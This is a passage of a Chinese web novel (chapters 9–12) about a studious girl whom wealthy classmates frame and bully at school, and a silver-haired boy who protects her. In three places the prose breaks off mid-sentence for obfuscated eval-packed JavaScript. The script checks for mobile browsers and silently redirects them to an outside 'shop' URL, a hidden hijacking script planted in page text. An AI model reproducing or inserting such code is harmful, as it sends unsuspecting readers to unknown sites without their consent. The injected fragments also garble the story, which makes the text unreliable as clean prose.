她发现,那个被称为“弥哥”的银发少年不太爱说话,吵闹的都是猴子和胖哥两人,而他走在最前面,单肩背包,戴着耳机,双手插在裤兜,懒洋洋的,一句都不搭腔,有时猴子会拍拍他的肩膀cue他,他也只是点个头应一声而已。 她尤其清晰地听到猴子说了句: “我们老大是谁,跆拳道国际冠军!” 9. 伊斯坦堡 叶子回家后,挑灯夜读到凌晨两点,才熄灯上床。 躺了一会儿,她突然想到什么,又爬起来,打开床头的台灯。 暖黄色的灯光洒满了整个房间,她靠在床头,翻开自己的日记本。 写日记是她一直以来的习惯,但是比较看心情,不想写的时候也可以好多天不写。 她新启一页,倒过卡通圆珠笔往本子上一戳,弹出笔芯。 写下昨天的日期,她咬着笔头想了想晚上发生的事情,写下第一句话: “今天依旧是委屈满满的一天呢(TWT),不过好在遇到了几个好人,像大侠一般地把坏人都打跑了(:-D)” “最厉害的那个叫韩山,他的兄弟们叫他弥哥,说他是跆拳道冠军。他不爱说话,染着一头银发,看起来凶神恶煞,没想到竟还有这么正义感的一面呢(?_?)” 寂静的夜,整栋楼唯独这扇窗户亮着。 叶子顿了顿,写下最后一段文字: “绝不能被这些事情分心,分班考试在即,只有努力学习考到最好的班级,才能逃离如今备受欺凌的困境。叶子,加油!(∩_∩)” 写完这些,她收起日记本钻进被窝,熄灭了床头的台灯。 整栋楼恢复了沉寂。 早上六点,叶子一巴掌拍飞响个不停的闹钟,强忍困意从床上爬起来。背过单词,读过政史地后,七点钟,她花了五分钟洗漱梳头,拿着妈妈准备好的肉包,吃着去上学。 初三她就是这样考上一中的,她自认为不是聪明的人,于是相信天道酬勤。 叶子进校门的时候,看到董婉凝和阿天在校门口说话。阿天单腿撑着摩托车,嘴里叼了根烟,一如既往地吊儿郎当,董婉凝穿着白衬衫和百褶裙,还有过膝长筒袜和公主鞋,大冬天也不嫌冷。 董婉凝并没有剪头发,更没有染回黑色,依然披着那头红色的长发,耳边还别了一个山茶花的发卡。看起来就像是日本来的留学生。俩人吸引了不少学生们的目光。 叶子看了一眼,正好对上阿天的目光,董婉凝注意到阿天神色,也回头看了过来。叶子心一紧,慌忙低下头,双手攥紧书包带,飞快地进了校门。 高一c12班。 叶子刚坐到座位上,便有一片阴影将她笼罩。她一抬头,沈娇娇抱着臂站在她面前,挡住了窗户洒进来的阳光。她一脸宣战似的神情,说:“你可以啊,抱到大腿了。” 叶子没听懂她在说什么,没理她,自顾自打开书包,拿出自己的书本放在桌子上。 沈娇娇感觉自己被无视,气愤地拿起她刚放下的练习册,重重往桌子上一摔,“给你说话呢听不见啊?” 叶子莫名其妙地抬起头,看了她片刻,轻描淡写说:“你说话呢啊,我以为是狗叫呢。” 沈娇娇气道:“你说谁狗叫!” 她嗓门又尖又利,一下子引来好多同学的目光,叶子也注意到这些看热闹的神情,有些无奈,“沈娇娇,我再说一遍,偷你钱的人不是我,你小心别被人当枪.杆.子使了。” 沈娇娇冷哼一声说:“小偷自然不会承认自己是小偷。” 叶子懒得跟她掰扯,从书包里拿出笔袋,把书包挂在椅背,边收拾桌面边说:“昨晚那些人是你找的?” 沈娇娇:“是我怎样,不是我又怎样?” 叶子噗嗤笑了一声,怀疑她电视剧看多了,这种台词不是剧里恶毒女配常用的吗?她翻开课本,说:“放心,我不会告老师的,你不用不承认。” 沈娇娇:“谁怕你似的?” 叶子觉得她很幼稚,翻看课本上今日要学的内容,没理她。 沈娇娇半晌又说:“如果你还不还钱,我会接着找人的!有本事,你就二十四小时跟着他们!” 说完,她赌气般哼了一声,扭头走了。 叶子疑惑地看着她走开,不明白沈娇娇口中的“他们”说的是谁。 她想了想,莫不是在说昨晚帮她的那几个男生? 她都没跟他们说过话,完全不认识啊。 真是天大的误会呀。 * 上午第二节下课是大课间,趁同学们做眼保健操,董婉凝偷溜出去上厕所。 路过办公室时她看到体育老师正在跟雷振刚说话。 下节就是体育课了,董婉凝心生好奇,躲在门口偷听。 王腾飞:“雷老师,我临时有点事得去处理一下,跟你换下课吧,c12下节体育上数学,下午第一节数学上体育。” 雷振刚:“可以,你去忙吧。” “那我这就去通知c12。” 董婉凝听了个真真切切,心里顿时生出一个损招。 雷振刚脾气火爆,又极为严格,上次因为有人在他课上开小差,就被他扇了一巴掌,踹出了教室。 董婉凝也不去厕所了,直接返回教室,进去的时候大声说了句:“叶子,班主任叫你过去。” 叶子睁开眼,董婉凝并没有看她,目视前方回了自己座位。 叶子没多想,起身出了教室。 她出去的时候体育老师王腾飞刚好过来,她打了个招呼说:“老师好。” 王腾飞点了下头。 叶子走进办公室,发现赵育芳并不在这里。 咦,人呢? 叶子探头往走廊里瞧了瞧,也没看到赵育芳的身影。 办公室十分肃静,老师们各忙各的,无人在意叶子。只有欧阳红很亲切地说了声:“是找赵老师的吗?坐这等会儿吧,她估计马上就回来了。” 叶子小声地说了句谢谢老师,小心翼翼坐在了赵育芳的椅子上。 与此同时,王腾飞在教室通知大家调课的事,教室里顿时一片哀嚎,同学们都很不愿意。 宁小萌与董婉凝是前后桌,她扭头跟董婉凝抱怨:“天呐,调到哪节不好,怎么非要是下午第一节?” 董婉凝举着化妆镜梳头发,一边端详镜中自己的美貌一边说道:“是啊,谁不知道下午第一节是c9班的体育课,跟他们一起上,器材、场地,完全抢不到,只能逛操场咯。”她语气尤为轻松,甚至还带了些兴奋。 宁小萌不解:“你怎么一副无所谓的样子?” 董婉凝:“不然呢?”她笑了笑,悄悄给宁小萌说了句:“还不如跟我期待一下下节课的好戏。” 宁小萌疑惑地看着她,并不知道她指的是什么。 办公室。 过了会儿赵育芳回来了,一看到叶子,很是讶异,“怎么了,有什么事吗?” 叶子连忙站起来,“老师,您叫我了?” 赵育芳奇怪,“没有啊,是不是别的老师叫你,传达错了?” 叶子顿时懵了。 她想了想,是有可能别的老师叫她,董婉凝故意传错,匆匆告别老师回去了。 她进班时眼保健操已经做完,大家正常课间活动,没有半点异样,董婉凝也不在教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713073|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室。 叶子心想等会儿再跟她算账,拿起杯子去接水去了。下节体育课,她习惯提前备好水。 大课间接水的人很多,叶子排了会儿队,刚接了一半上课铃便响了。 体育课需要提前到操场站队,叶子顾不上接满,拧上杯盖跑下楼。 到了操场她有些茫然,这节上体育课的班很多,但唯独没看到她们班的身影,也没有看到体育老师。 难道今天不在操场上吗?还是换课了? 叶子又调头往教学楼跑。 这一前一后,浪费了不少时间,当她跑到教室外面,课已经上了有一会儿了。 她气喘吁吁停下来,看到同学们满满当当坐在教室里,心一凉。 她视线看向讲台,还是数学课。 董婉凝立刻发现了窗外叶子的身影,目光幽深地扬起唇角。 叶子犹豫了一下,如果她现在回去顶多算迟到,她可以说她去上厕所接水了,但如果她不回去,那便是翘课,性质完全不一样。 她硬着头皮进去打了声报告。 雷振刚讲课被打断,蹙眉烦躁说:“外面站着去。” 他对全班同学说:“我再强调一遍课堂纪律,我的课,不许迟到!一点时间观念都没有!” 叶子端着课本和笔记本,在同学们的讥笑声中走出了教室,踏出教室门时,叶子回头盯了董婉凝一眼。 董婉凝轻狂挑眉。 叶子站在窗边,把窗台当桌子,隔着窗户听雷振刚讲题。 董婉凝看她这认真刻苦的模样,嗤之以鼻骂了句:“装什么装。” c9班在叶子班斜对面,猴子看到了在楼道罚站的叶子,碰了碰韩山的胳膊,“老大,看。”他向窗外努了努下巴。 韩山正百无聊赖转着笔,顺着他的目光抬眸。 一个瘦瘦小小留着学生头的女生趴在窗户外,很认真地在看黑板,边看边记笔记。 昨晚叶子惊惶躲在他身后的画面历历在目,韩山微微有些出神。 猴子嘲笑说:“年级第一还会在楼道里罚站啊哈哈哈。” 韩山了然地一笑,收回目光,翻了页课本,“他们这节不是体育吗?” 猴子一拍脑袋,“对哦,那这是怎么回事,她不知道换课了于是迟到了?” 韩山不置可否。 这节课一下课,叶子立马拿着书本进班,气势汹汹来到董婉凝桌前,踹了她桌子腿一脚,“你故意的是吧!” 桌子发出很响亮的声响,同学们纷纷扭头看过来。 董婉凝一脸无辜地看着她,茫然说:“我怎么了?” 叶子:“你骗我说老师找我,害我没听到调课的通知,导致我迟到在外面站了一节课!你才多大啊,心机这么深!” 董婉凝噎了一下,说:“你有脸说别人?你偷沈娇娇那五百块钱的时候,你心机就不深了吗?” “你!”叶子冤屈,一时没接上话。 沈娇娇倒是在旁边阴阳怪气接了句:“就是,先把钱还了再说。” 同学们的记忆顿时被唤醒,一时间叶子又成了众矢之的。 “你还是先把钱还了吧!” “小偷还有脸说别人!” 叶子咬着后槽牙,死死瞪着董婉凝,手里的书本被她攥出褶子。她知道这件事绝对就是董婉凝在背后使坏,可她没有证据,她的冤屈就无法洗清。 她咬牙切齿说:“你再说一个我偷的试试。” 10. 伊斯坦堡 董婉凝没有一点惧色,随之就说了句:“本来就是你偷的,还不让人说了吗?” 叶子将她桌子狠狠一推。 桌子一下子就倾倒在董婉凝身上,她尖叫一声跳了起来,桌子失去支撑砸到椅子上,桌面和桌膛里的东西噼里啪啦掉了一地,一盒眼影碎了,洒了一地五颜六色的闪粉。 董婉凝气愤地抬头:“你有病是不是!” 宁小萌连忙把桌子扶正,蹲下去给董婉凝捡东西。 叶子直接承认:“对,我光脚的不怕穿鞋的,你再整我我只会更疯。” 董婉凝推她一把,“老子眼影可是名牌!你他.妈赔得起吗!穷逼。” 叶子被推得后退两步,抬手推回去,“傻.逼。” 这一掌力道极大,董婉凝猛地撞上桌子,差点摔倒,她脸色彻底冷下来,瞪着眼睛逼近她,威胁说:“你说谁傻.逼,你再说一遍。” 叶子若跟她吵,她绝不会输,可叶子就骂了个傻.逼,她反而没话说了。 宁小萌怕事情闹大,连忙拦住董婉凝,“好了好了。” 同学们见要打起来,纷纷闭了嘴,教室里一时间安静得落发可闻。 董婉凝怒火中烧,第一次在叶子这张乖顺的脸上看到近乎张狂的神情,仿佛在说,穷逼也好过傻.逼。 董婉凝眼中布满血丝,告诉自己不能生气,谁生气谁就输了。 董婉凝撩了撩头发,平息怒火,两臂环胸抱在身前,毫不在意说:“反正我这个傻.逼不高考也有大学上,我还可以出国留学给学历镀金,你呢?你跟我动手,不怕影响高考吗?万一被记过,你这辈子就完了。” 叶子被戳中了痛点,死死攥着拳头,身体微微颤抖。 是啊,董婉凝家世优渥,即便不高考,也有很好的出路,而她呢,她的父母只是最底层的普通工人,无法给她任何捷径,她只有高考这一条路走。 可叶子不甘心,凭什么她要受这种委屈?家境好就可以无法无天了吗? 她眼底微红,眼珠上铺了一层水膜,咬牙说:“是,我顶多不高考,你小心点别进了牢,那才真是一辈子完了。” 董婉凝神色微变,“你!” 同学们都看着她们,黑溜溜的眼珠像一个个冷冰的摄像头。董婉凝一时找不到可以反击的话,哑口无言。 作为董家的千金,纵使她百般娇纵,无理取闹,也没人敢这么给她说话。 眼前这个叶子让她感到陌生,这还是那个不爱说话,只顾闷头学习的书呆子吗? 她红着眼睛,可她的眼里没有半分惧色,反而是倔强和不认命。 董婉凝发现自己从来没有真正认识过她,她绝非表面看起来那样软弱。 叶子指甲嵌进肉里,强忍住鼻尖的酸楚,告诉自己别跟董婉凝一般见识,期中考个好成绩,离开这个班级,才是正道。 她把这口气生生吞进肚子里,决绝地转身回了自己座位。 董婉凝不甘心,还想跟上去,宁小萌拦住她:“好了好了,闹大了不好,忘了上次了?” 上次水房门口和叶子干架,被赵育芳叫到办公室一顿骂,还被警告剪头发。 董婉凝没剪,很怕赵育芳想起这档子事,只好作罢,愤愤坐在椅子上,两臂环胸抱在身前,翘起二郎腿。 宁小萌给她收拾桌子,同学们七嘴八舌地议论着她们,叶子不想听,拿起杯子走了。 她拿杯子是想装去接水的样子,实际上她杯子里有水,上节课接的水她一口没顾上喝,根本不需要接。她出了教室穿过走廊,也不知道该去哪里,心里的委屈翻江倒海,就要变成眼泪涌出来。 她咬唇忍住,看向窗外,外面的天蓝蓝的,白云大团大团,多么明媚的天气。 有一瞬间她不知道自己为什么要在这里,凭什么别人不用高考就能轻而易举得到所有想要的,而她就要起早贪黑地学习,还要受这种委屈? 叶子最后还是去了水房,把杯子里的水倒了,涮了涮,重新接了一杯,这样磨蹭完正好上课铃也响了,她才回了教室。 下午。 叶子一进班,就看到黑板上写着一行大字:第一节体育下楼站队。 她后知后觉地想起,对哦,体育跟数学换了。 然而教室里乱哄哄的,同学们居然都没下去。 叶子不明所以,平常体育课他们都会早早下楼抢场地和器材,怎么今天转性了? “不过和c9班一起上体育也有好处,他们班帅哥多,养眼!” 宁小萌正和几个女生凑在一起八卦,叶子才不关心她们在说什么,揣了单词小册子离开教室。 叶子下了教学楼,来到操场,他们班几个男生正在绿坪上踢球。 叶子坐在看台上,拿出小册子。 “哎!那边的!小心被爆头哦!哈哈哈哈哈哈哈哈哈……” 叶子刚翻开小册子便听到一声爆笑,她抬起头,又是赵德汉。 叶子没搭理他们,站起来,往看台上又上了两阶,并往远离他们的方向走了走,重新坐下,低头背单词。 赵德汉无趣地撇了撇嘴,转身继续跟兄弟们踢球。 正好背到destiny,叶子小声读道:“destiny,命运,天数,destinyissometimescruel,命运有时是残酷的。” 真应景啊,她心想。 与此同时,以猴子为首的c9班的一群男生从操场大门走了进来。 猴子今日穿着一件肥大的白衬衫,走的是嘻哈风,衬衫领口大开,袖子卷到肩膀,露出张扬的纹身,耳朵上别了只烟。 他秀了个胯下运球,然后跳起来,投篮。 他身后的兄弟们立刻捧场:“哇,睿哥真帅!” 猴子大名侯睿,只有韩山能叫他猴子,别人都得老老实实叫声睿哥。 猴子得意道:“那必须,弥哥亲传的!” 篮球砰砰地弹过塑胶跑道,滚向绿坪,一个瘦溜溜个子不高的男生立刻跑去捡球,猴子目光追随过去,无意间看到绿坪一角踢球的几个男生。 他蹙眉:“今天怎么回事?这是哪个班?” 有人答:“c12的吧。” 捡球的男生抱着球回来了,把球递到猴子手上,猴子注视着那几个踢球的身影,说:“胆子真大,走。” 他们踏上绿坪,向赵德汉他们走去。 “诶诶!谁让你们在这踢球的,这被我们占了。” 猴子说着将篮球砸过去,赵德汉和那几个男生纷纷回眸。 叶子背到calm,听到绿坪上的躁动,下意识抬头。 篮球滚进球门被球网兜住,猴子指指地面说:“足球放下,赶紧滚。” 叶子认出猴子,心想:啊,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713074|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 下一瞬她意识到,难道这节课跟他们班一起上? 赵德汉和那几个男生脸上没有一点惧色,反而有点不屑,赵德汉看了眼猴子身后十来个人,态度轻蔑地切了一声:“你以为你是谁。” 猴子一脸不可思议:“嘿!我现在就让你知道知道我是谁!” 他一撸胳膊就要上去揍人,赵德汉慌忙后退说:“你敢动我我就告老师!” 这下把猴子给气笑了,“告老师?你多大?”话是这样说,但他挥出去的拳头还是定在了空气中。韩山告诫过他,在学校里要少惹事。 赵德汉敏锐地察觉到他的犹豫,更有底气了,“多大我也要告老师!” 猴子火气上来:“告啊,你去告啊!” 此时操场外走进一个身影,猴子犹如看到了救星,兴奋地喊道:“老大!” 叶子目光放远,银发少年含着棒棒糖,踏上了绿坪。 风鼓起他的衣服,袖管,他双手插在裤兜,模样慵懒,银发被风吹动。 这时赵德汉眼中有了丝慌张,稍稍向后退了退。他身后的五个兄弟们互相看了一眼,也有些惶恐。 猴子连忙迎上去,走在韩山旁边,告状说:“老大,c12的把球门占了,还说要告老师!巨他.妈嚣张!” 韩山目视前方,一眼没看猴子,口气略微不耐烦:“看见了,我不瞎。” 猴子立马安静。 c9的男生们纷纷向两边让开,韩山把棒棒糖拿在手里,穿过他们,询问道:“我听说这里有人要告老师,谁?” 赵德汉没敢应话,猴子指着赵德汉喊道:“他!就是他!” 赵德汉脸色变了变。 韩山的目光刀锋般扫过赵德汉身后的男生,冷冷停在赵德汉身上。 赵德汉喉结滚了滚,言之凿凿说:“明明是我们先来的,你们敢动手我就去告老师!” 韩山像是听到什么笑话般,侧过头笑了一下,“正好我也有话跟老师说。” 赵德汉不知道他是什么意思,疑惑地看着他。 韩山薄唇轻勾:“你上次故意把球砸到同学头上的事,老师还不知道呢吧?” 赵德汉一惊,仓皇看了眼看台上的叶子,又看回韩山,眼神仿佛在说:你怎么知道的? 叶子也看着他们,但她听不到他们在说什么,发现赵德汉突然看向她,她连忙低下头继续背单词,“calm,冷静,镇定,calmdown……” 韩山神色淡淡:“是你们滚,还是我把你送到老师那,自己选。” 赵德汉被抓住把柄,慌慌张张抱着球跑了,连同他的朋友们。 猴子还想追,韩山拉住他,“学校里,别给自己找麻烦。” 猴子只好偃旗息鼓。他问韩山:“老大,你刚才说的啥意思?我怎么听不懂。” 韩山轻笑一声,“没什么。” 叶子看着刚才还大声嘲笑她的几个男生此刻灰溜溜地跑到看台后躲了起来,心里别提多痛快了。 绿坪上,猴子已经占下了球门,一脚将足球射门。而韩山带着其他男生往操场另一头的器材室去了。 叶子心想,他们应该不会欺负她,她坐在这里是安全的。 她突然间好像明白为什么他们班的人都迟迟赖在教室里不下来了。 他们怕这些人。 他们怕他。 11. 伊斯坦堡 上了这节体育课,叶子才知道,原来韩山还是体委。 他脱了校服外套,今天的他穿了一件正红色T恤,像一团火,在人群中格外显眼。 十一月份的天气,他好像一点也不怕冷。 解散自由活动后,韩山和兄弟们一起去篮球场打球,球门这里换了波叶子不认识的c9男生。 叶子为了自己的“人身安全”,拿着单词小册子,屁颠屁颠跟到篮球场,在场边椅子上坐下。 猴子立刻就发现球场上有个娇小瘦弱的身影,眉飞色舞用胳膊肘提醒韩山。 韩山顺着他的目光看去,叶子正认真背单词,头都没抬。 韩山神色无语地睨猴子一眼。 猴子煞有介事说:“弥哥这就是你不懂了,一个女生出现在篮球场,要么是她也喜欢打篮球,要么就是她喜欢的人在打篮球。” 韩山:“你是说她喜欢我?” 猴子瞧他还挺开窍,笑容更添老父亲般的慈祥,“肯定是昨天晚上你英雄救美打动了她,喜欢上你了。” “啊?什么什么?谁喜欢弥哥?”胖哥火急火燎凑过来。 猴子疯狂用眼神示意。 胖哥看到球场边女孩的身影,露出恍然大悟的神情,开始起哄,倒是韩山有些脸红了,把他们干了一顿。 叶子抬头瞟了一眼,不知道发生了什么,只觉得有点吵。 韩山和猴子分成两队,按比赛形式打全场,打到一半,有人没接住传球,球在空中划出一道长长的弧线,向叶子飞了过来。 韩山神色一紧,喊了声:“喂!看球!” 叶子其实不知道这声是冲谁喊的,但她下意识抬了眸。 篮球几乎近在眼前,叶子猛然睁大了眼睛,瘦削的小脸苍白几分。 不会又要被爆头吧,书呆子。 韩山转了身,掀起T恤擦了把汗,腹肌的轮廓一闪而逝。 然而下一瞬,连叶子自己都意想不到的事发生了,她的肢体动作比她大脑反应都快,竟然下意识抬起手,接住了这一球。 场上所有男生都注视着她,韩山没有听到预想中的尖叫声,回过身,看到叶子呆呆地抱着篮球。 猴子冲她喊:“传回来!” 叶子不会传球,茫然了两秒,手忙脚乱把单词小册子放在座位上,然后上前两步,将篮球用力地扔了过去,整张脸都红透了。 猴子稳稳接住这球,比赛继续,男生们专注打球,谁都没有把刚才的小插曲放在心上。 叶子坐回座位,重新拿起单词小册子,脸上的热气却迟迟不肯消退,脑中不受控制地反复映出自己扔球的情景,所有目光都注视着她,尴尬极了。 她无心背单词,有意无意地看他们打球。 也不知道是不是因为韩山穿了件红衣,她的目光不自觉被他吸引。 他球技很好,三步上篮,胯下运球,动作利落。 对手拦截,他打了个假动作,高高跃起,空中传球。 他是场上最高的,跳起来是压倒性的优势。 他手臂绷紧的肌肉线条,衣服随着他的跳动向上撩起,露出他一截轮廓分明的小腹。 叶子本想看他们打球转移注意平复心情,可看着看着,脸颊反而越热。 她不懂球,她只觉得酷,目光情不自禁地追随他。 他和兄弟们区域联防,默契配合,接连进球,势不可当,场上欢呼声不止。 猴子哀嚎:“弥哥就不能放放水让我赢一轮啊!” 阳光下,少年似乎浑身在发光。 中间跑场时,韩山似有所觉,黑眸不经意看向她。 叶子心念一动,慌忙低下头,紧张盯着自己手里的单词小册子。 她看起来在背单词,可只有她自己知道,她心跳飞快,一个字母都没看进去。 韩山平静收回目光。 那一瞬的对视,难道只是错觉? 终于熬到下课铃响,叶子逃似的飞快地离开了篮球场。 猴子看着她匆匆离开的背影,挠头说:“不对啊,她这时候不应该过来给你送水吗?” 韩山一言不发给他脑袋来了一下。 * 叶子到篮球场躲了一节课,董婉凝没欺负到她,很是不爽,早早就回到教室。 叶子进班时,董婉凝正跟其他人凑在一起说着什么,其中还有沈娇娇。叶子一进来她们立刻就不说了,各自散开回到了座位。 叶子没放在心上,坐在座位喝水。 下节课是历史,上课铃响后,历史老师史为鉴拿着保温杯,夹着课本走进来,喊了声:“上课!” 班长喊:“起立!” 叶子一如往常,跟着大家一起站起来,喊老师好。 史为鉴说:“请坐。” 叶子猛地坐在了地上,摔了个屁股蹲。 她的椅子在她起身时被人悄悄拉开了,她毫无所觉。 叶子疼得红了眼眶,咬牙忍住。 周围人窃笑不止,董婉凝更是笑得前仰后合。 史为鉴见状肃容说:“谁干的?我最讨厌这种恶作剧!站起来!” 窃笑声戛然而止,却没有一个人起立。 叶子从地上爬起来,默默拍了拍身上的灰,把椅子搬回来坐下。 史为鉴是个固执死板的小老头,被人起外号叫“老古董”,扶了扶眼镜,不依不饶说:“没人承认?我下课就给你们班主任说。” 课上到一半的时候,叶子收到了后桌女生传来的小纸条。 这个女生叫何艾,叶子奇怪地展开纸条,上面写着:“对不起叶子,我不是有意的!是董婉凝逼我这么干的!说不干下一个被孤立的就是我!我是真的害怕。你能不能帮我向老师求求情?” 叶子迅速将纸条揉成团,继续听课。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713075|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不想其他任何事情影响她的学习。 下课后,老古董说到做到给赵育芳告了状,赵育芳调了监控,监控显示确实是何艾做的,将何艾叫进了办公室。 “说说,为啥这么干?手咋这么欠呢?”赵育芳斥责说。 何艾不敢出卖董婉凝,支支吾吾说:“我、我……对不起老师,我再也不敢了……” 赵育芳教训了她几句,最后说:“再有下次就把你家长叫来!”然后放她回班了。 何艾回座位的时候经过叶子,特意不看她,黑着脸。 她在埋怨叶子没有帮她求情,叶子看得出来,立刻撕了张纸条写给她。 只有短短几个字: “己所不欲勿施于人。” * 放学,叶子做完值日,太阳刚刚落山,天将黑未黑。 叶子锁好教室门窗,想起上午沈娇娇那句:“如果你还不还钱,我会接着找人的!” 以及上完体育课回班时,跟董婉凝说话的人里面就有沈娇娇。 董婉凝可以逼何艾拉她的椅子,一定就可以教唆沈娇娇继续找人堵她。 叶子越想越害怕,不知道怎么办是好。 她心事重重下了楼,忽而听到“砰砰砰”的篮球砸地声。 不知不觉间,她脑中映出韩山的身影,连她自己都感到意外。 对啊,她可以跟着他! 她匆匆跑出教学楼一看,却发现打篮球的并不是韩山,是几个完全陌生的面孔,正拍着篮球往球场走。 叶子有些失望。 她慢吞吞向校门走去,此时已经放学有一段时间了,学校大门关了,只开着旁边一道小门,她在门内向外张望了张望,并没有发现危险可疑的人物。 但她还是很害怕,万一他们在别的地方堵她…… 她犹豫着不敢出校门。 正在这时,有男生的说话声靠近,叶子回头一看,眼睛顿时亮了。 下午体育课韩山和猴子他们打篮球没过瘾,多打了一节课,被他们班主任,也就是欧阳红知道了,她大发雷霆,说:“你们不是爱运动吗!罚你们绕操场、哦不,绕整个学校跑十圈!不跑完不许走!” 他们这会儿刚跑完。 韩山单肩背着书包,校服外套随意搭在肩头,手拿着篮球。或许是因为刚运动完,他意气风发,浑身散发着张扬恣意的气场,银发凌乱得好看,带着凌冽不羁之气。 似乎被罚得很过瘾,他难得不是冷脸模样,脸上带着浅浅的笑,银色的耳钉和项链在他身上点缀出耀眼光芒。 他扭头对猴子说着什么,从侧面看,他的喉结很明显,下颌线清晰。 桀骜不驯,盛气少年。 叶子微微有些出神,还是猴子的声音将她拉回现实。 “弥哥。” 猴子率先发现了叶子,用胳膊肘碰了碰韩山。 12. 伊斯坦堡 韩山看过来,对视的瞬间,叶子莫名紧张了一下,下意识抓紧书包肩带。 然而韩山并没有什么反应,他目光冷淡,看了她一眼,扭头继续跟猴子说话,眉目柔和,脸上重新生出笑意。 三个人从叶子身边经过,然后是一边走路一边看课本的四眼。 叶子连忙跟上去。 他们先后出了校门,有韩山在前面,叶子安心多了。 她看着他的背影,他个子高,但并不驼背,脊梁笔挺,因为走路步调不快,又天然地多了份从容散漫。 叶子一路跟着他们,直到经过公交站台。 她有时候为了省钱不搭公交,但现在情况特殊,搭公交安全一些。 这里人多,别人也不敢对她下手,等再下了车,就离家很近了。 她在公交站台停下,左右看了看,松了口气,望着韩山的背影在心里道了声谢,掏出口袋里的单词小册子,等公交来。 与此同时,几个职高小混混躲在拐角后,探头探脑向叶子张望。为首的那个叫彪子,是阿天的兄弟,董婉凝派他们来帮沈娇娇“讨钱”。 原来那晚沈娇娇找的人被韩山揍了之后,说什么都不敢再接这个活了,沈娇娇找董婉凝帮忙,董婉凝便派他们来了。 今天下午体育课后,董婉凝和沈娇娇说的就是这件事,沈娇娇对董婉凝的“大义援助”十分感谢。 彪子看了半天,说:“人太多,不好办啊。” 他们这种人最怕的就是警察,在这种人多的地方,一旦闹起来必定有人报警,那就得不偿失了。 他后面一个跟班说:“她还挺会抱大腿的,前面跟着韩山,现在又躲在人堆里。我这胳膊被韩山扭得现在还疼呢。”他一脸幽怨活动了活动胳膊。 他们跟着阿天混,跟韩山打过几次架,没一次赢的。 彪子嫌弃说:“长他人志气,灭自己威风。” 很快公交来了,在彪子的目光中,叶子上了车,车门关上,缓缓向前行进。 彪子有了个主意:“放学不行试试上学。韩山每天必翘第一节课,我不信这年级第一也翘课。” 这晚叶子安全到了家,专心学习,韩山跟兄弟们在网吧玩到半夜。 临睡前叶子想,那些人放学没得手,会不会在上学路上堵她? 她知道韩山早上肯定起不来,不能指望他,得自己想办法。 她拿过床头柜上的闹钟,把闹铃时间往前调了半个小时,这才安心睡去。 第二天叶子起了个大早,飞快收拾好,早饭也顾不上吃,就要出门。 李丽然看她着急,连忙用塑料袋装了两个热气腾腾的包子塞给她,“拿着路上吃啊!” 叶子心中一暖,接过包子,抱了妈妈一下,“妈妈上班注意安全。” 李丽然很欣慰,“去吧,路上小心,在学校听老师话啊!” “好嘞!”叶子跑下了楼梯。 从她家到学校有好几条路,大路小路,错综复杂,她故意绕远来到学校。 彪子他们又没蹲到。 叶子一路小跑,自然顾不上吃包子,将包子带进了教室。 她到的时候董婉凝已经到了,正在跟几个女生聊着天,董婉凝看她安然无恙,脸色顿时黑了下来。 叶子从教室后门进去,经过她们,坐到自己座位上。 她刚摘下书包,就听见董婉凝说了句:“怎么有股味儿啊,好臭。” 董婉凝捏着鼻子,一脸嫌弃厌恶。 有人附和她:“就是,我也闻到了,不知道是谁带着一股臭烘烘的风过去了。” 叶子知道自己又被针对了,她昨晚刚洗的澡,衣服也是洗干净的,早上穿的时候还能闻到残留的洗衣粉香味,怎么可能会臭? 她只当没听到,拨开塑料袋吃自己的早饭。 董婉凝看她没什么反应,冷冷从座位上站起来,走过去,一把抢过叶子手里的包子,随手一扔,“吃吃吃,弄得满教室都是味!” 叶子毫无防备,拿包子的手没用多大力,轻而易举被她抢走。 包子滚落在地,沾了灰,馅洒出来。 与董婉凝说话的几个女生跟着一同围过来,宁小萌,沈娇娇,何艾,都在其中。 人数带来压迫感,叶子却没有丝毫畏惧,只是有些无奈,“董婉凝,你有完没完?” 董婉凝两臂环胸抱在身前,一副高高在上的模样:“眼影盘的事我就不跟你计较了,但你偷沈娇娇的钱,什么时候给个说法?” “对!什么时候给个说法!”三个女生接连附和她。 今天董婉凝穿了件紫色亮面皮夹克,画着又粗又长的黑色眼线,眼影闪亮,红发扎成高马尾,更显刻薄锐气。 叶子已经说腻了:“不是我偷的!” 董婉凝不屑嗤笑:“小偷自然不会把小偷二字写在脸上。” 教室人渐渐多了起来,叶子不想跟她争执,这样丢人的只会是她自己。她隐忍说:“你到底怎样才肯放过我?” 董婉凝语气轻松:“简单,还钱。” 